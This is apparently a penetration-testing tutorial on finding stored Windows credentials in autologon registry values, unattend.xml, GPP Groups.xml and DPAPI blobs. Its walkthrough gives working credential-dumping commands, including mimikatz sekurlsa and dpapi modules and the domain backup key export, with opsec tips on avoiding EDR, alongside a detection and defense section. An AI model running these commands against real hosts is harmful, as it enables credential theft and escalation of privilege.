Stored Credentials Hunting: DPAPI, Registry, and Files

Stored Credentials Hunting: DPAPI, Registry, and Files - article cover image Windows Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Every Windows host accumulates secrets simply by being used: browsers save passwords, RDP clients remember credentials, deployment tooling leaves unattended-install answer files behind, and applications persist service-account passwords in the registry or config files so they can authenticate without prompting. Most of this is protected — nominally — by the Data Protection API (DPAPI), Windows’ built-in mechanism for encrypting secrets to a user or machine identity. But DPAPI protection is only as strong as the key material behind it, and a huge amount of stored-credential material on real hosts is not DPAPI-protected at all: it is plaintext, base64, or a trivially reversible “obfuscation” that predates modern secret-management guidance.

Credential hunting is consistently one of the highest-yield phases of an internal engagement because a single recovered secret — a domain admin’s cached password, a service account in a config file, a DPAPI-protected credential blob belonging to an administrator who once RDP’d into the box — can shortcut hours of exploitation work. Unlike memory-corruption or protocol attacks, credential hunting requires only filesystem and registry read access, making it low-noise and applicable from almost any foothold, authenticated or local.

Attack Prerequisites

The techniques below scale from a completely unprivileged local shell up to full local admin, with the yield increasing accordingly:

  • Local filesystem/registry read access — enough for autologon registry values, cmdkey-stored generic credentials, PowerShell history, config files, and unattend/sysprep answer files world-readable at install time.
  • Local administrator or SYSTEM — required to read another user’s DPAPI master keys and credential blobs directly from disk, or to dump LSASS memory for cached DPAPI keys and plaintext secrets via mimikatz sekurlsa::*.
  • The target user’s logon password (or their DPAPI backup key) — needed to decrypt that specific user’s DPAPI master key if it cannot be recovered directly from LSASS memory or the domain backup key.
  • Domain Admin (for dpapi::backupkeys) — the domain DPAPI backup key decrypts *every* domain user’s master keys on every domain-joined host, making it one of the highest-value Tier-0 secrets in Active Directory.

How It Works

DPAPI encrypts a secret (a browser-saved password, a Credential Manager entry, a Wi-Fi key) using a key derived from a per-user “master key,” which is itself encrypted with material derived from the user’s logon password hash and stored under %APPDATA%\Microsoft\Protect\<SID>\. To read the master key without the plaintext password, an attacker with SYSTEM or the domain DPAPI backup key can decrypt it directly. LSASS also caches a process’s decrypted master keys in memory once used in the session, which is why dumping LSASS (sekurlsa::dpapi) recovers already-unlocked keys without any password guessing at all. Once a master key is known, any DPAPI blob protected under it — Credentials files, Chrome’s Login Data, saved RDP passwords, Wi-Fi profiles, IIS application-pool secrets — decrypts deterministically.

Not every secret bothers with DPAPI, though. Windows unattended-setup answer files (unattend.xml, sysprep.xml) can contain the local administrator password and/or an autologon account in a <Password><Value> element that is only base64-encoded, never encrypted, and these files are frequently left behind under C:\Windows\Panther\ after imaging. Registry-based autologon (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon) stores DefaultPassword in plaintext by design — it has to be, since winlogon reads it directly at boot with no user password to derive a DPAPI key from yet. cmdkey-saved network/RDP credentials are DPAPI-protected but trivial to *use* (not decrypt) via runas /savecred from the same user context, which is often all an attacker needs.

A related, historically important case is Group Policy Preferences (GPP): GPP allowed administrators to push local account passwords via Groups.xml stored in SYSVOL, encrypted with a static AES key that Microsoft published in its own documentation. Any authenticated domain user could read SYSVOL, recover the cpassword attribute, and decrypt it offline with the known key — Microsoft shipped MS14-025 to stop *new* GPP passwords from being created, but does not retroactively purge old ones, so stale Groups.xml files with cpassword set are still occasionally found on long-lived domains.

Vulnerable Code / Configuration

Registry-based autologon leaves the account password in plaintext, readable by any local user with default ACLs on this key:

C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
    AutoAdminLogon    REG_SZ    1
    DefaultUserName   REG_SZ    CORP\svc-deploy
    DefaultPassword   REG_SZ    P@ssw0rd2024!      <-- plaintext, by design
    DefaultDomainName REG_SZ    CORP
TEXT

An unattend.xml left on disk after imaging, with the password field only base64-encoded (Windows Setup does this so the value round-trips through XML, not as any form of protection):

<!-- C:\Windows\Panther\Unattend.xml -->
<UserAccounts>
  <AdministratorPassword>
    <Value>UABAAHMAcwB3ADAAcgBkADIAMAAyADQAIQBBAGQAbQBpAG4AUABhAHMAcwB3AG8AcgBkAA==</Value>
    <PlainText>false</PlainText>
  </AdministratorPassword>
</UserAccounts>
<!-- 'PlainText=false' just means base64-encoded UTF-16LE, not encrypted -->
XML

A legacy Group Policy Preferences Groups.xml in SYSVOL with a cpassword attribute — decryptable offline by anyone with the (publicly documented) GPP AES key:

<!-- \\corp.local\SYSVOL\corp.local\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml -->
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
  <User name="LocalAdmin" image="2" changed="2019-02-11" uid="{...}">
    <Properties action="U" newName="" fullName="" description=""
      cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
      changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0"
      userName="LocalAdmin"/>
  </User>
</Groups>
XML

Walkthrough / Exploitation

Start with cheap, unprivileged checks — autologon creds, saved credential manager entries, and command-line/PowerShell history that often contains typed passwords:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
cmdkey /list
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
dir /s /b C:\Windows\Panther\*.xml C:\Windows\System32\Sysprep\*.xml 2>nul
PowerShell

With local admin, dump LSASS to recover already-decrypted DPAPI master keys and plaintext/hash credentials for logged-on users in one pass:

mimikatz # privilege::debug
mimikatz # sekurlsa::dpapi
mimikatz # sekurlsa::logonpasswords
TEXT

Locate a target user’s stored credential blob on disk and DPAPI master key file, then decrypt the blob offline using the recovered key:

dir /a /s %APPDATA%\Microsoft\Protect\<SID>\
dir /a /s %APPDATA%\Microsoft\Credentials\

mimikatz # dpapi::masterkey /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Protect\S-1-5-21-...\<GUID> /sid:S-1-5-21-... /password:UserLogonPassword
mimikatz # dpapi::cred /in:C:\Users\jdoe\AppData\Roaming\Microsoft\Credentials\<blob> /masterkey:<recovered_key_hex>
TEXT

On a domain, obtaining the DPAPI domain backup key (requires Domain Admin) removes the need to know any individual user’s password — every user’s master key on every host decrypts against it:

mimikatz # lsadump::backupkeys /system:dc01.corp.local /export
mimikatz # dpapi::masterkey /in:<user_masterkey_file> /pvk:ntds_capi_<domain>.pvk
TEXT

Note: Chrome, Edge, and most Chromium browsers layer an additional “App-Bound Encryption” or path-validation step on top of DPAPI in recent versions, which breaks naive DPAPI-only decryption of Login Data. Confirm the target browser/version’s protection model before assuming a raw dpapi::cred pass will work on browser secrets.

Opsec: sekurlsa::* and any direct handle to lsass.exe are among the most heavily signatured actions in modern EDR. Where LSASS access is likely to be alerted on, prefer the lower-noise filesystem/registry checks first (autologon, unattend.xml, cmdkey, config files) and reserve LSASS dumping for when its detection risk is acceptable for the engagement.

Detection and Defense

Reducing what is stored, and protecting the keys that guard what remains, closes most of this surface:

  • Never use registry autologon or plaintext credentials in unattend/sysprep files — use a deployment solution that injects secrets at runtime (LAPS, a secrets vault) instead of baking them into images.
  • Delete unattend.xml/sysprep answer files after imaging completes; they have no runtime purpose once setup is done.
  • Patch/replace legacy GPP cpassword usage (MS14-025) and purge old Groups.xml files from SYSVOL that still carry a cpassword attribute.
  • Treat the DPAPI domain backup key as Tier-0 — it decrypts DPAPI secrets for every domain user on every host; protect it like krbtgt.
  • Monitor LSASS access — Sysmon Event ID 10 (ProcessAccess) with a target image of lsass.exe and a suspicious source process/GrantedAccess mask is the standard detection for mimikatz-style credential dumping; enable Credential Guard where compatible to make in-memory secrets unusable even if LSASS is read.
  • Use a credential manager and rotate anything found on disk — any secret recovered during an assessment should be treated as compromised and rotated regardless of how it was stored.

Real-World Impact

Stored-credential hunting is a staple of nearly every internal penetration test and red-team engagement because the failure modes are cheap to introduce and easy to overlook: an imaging pipeline that forgets to purge Panther\Unattend.xml, a legacy GPP password nobody rotated after MS14-025 shipped, or a help-desk script that leaves autologon enabled on a kiosk box. Tools like mimikatz’s dpapi:: and sekurlsa:: modules, SharpDPAPI, and LaZagne exist specifically because this class of finding recurs across unrelated organizations at a rate that justifies dedicated tooling.

Conclusion

Windows hosts are full of forgotten secrets because so many subsystems need a credential available without an interactive prompt, and DPAPI’s security guarantee only holds when its key material — the user’s password hash, the machine key, or the domain backup key — is itself well protected. Reducing what gets stored on disk in the first place, purging deployment artifacts, and treating DPAPI backup keys as Tier-0 assets limits both the size and the value of what an attacker can harvest.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL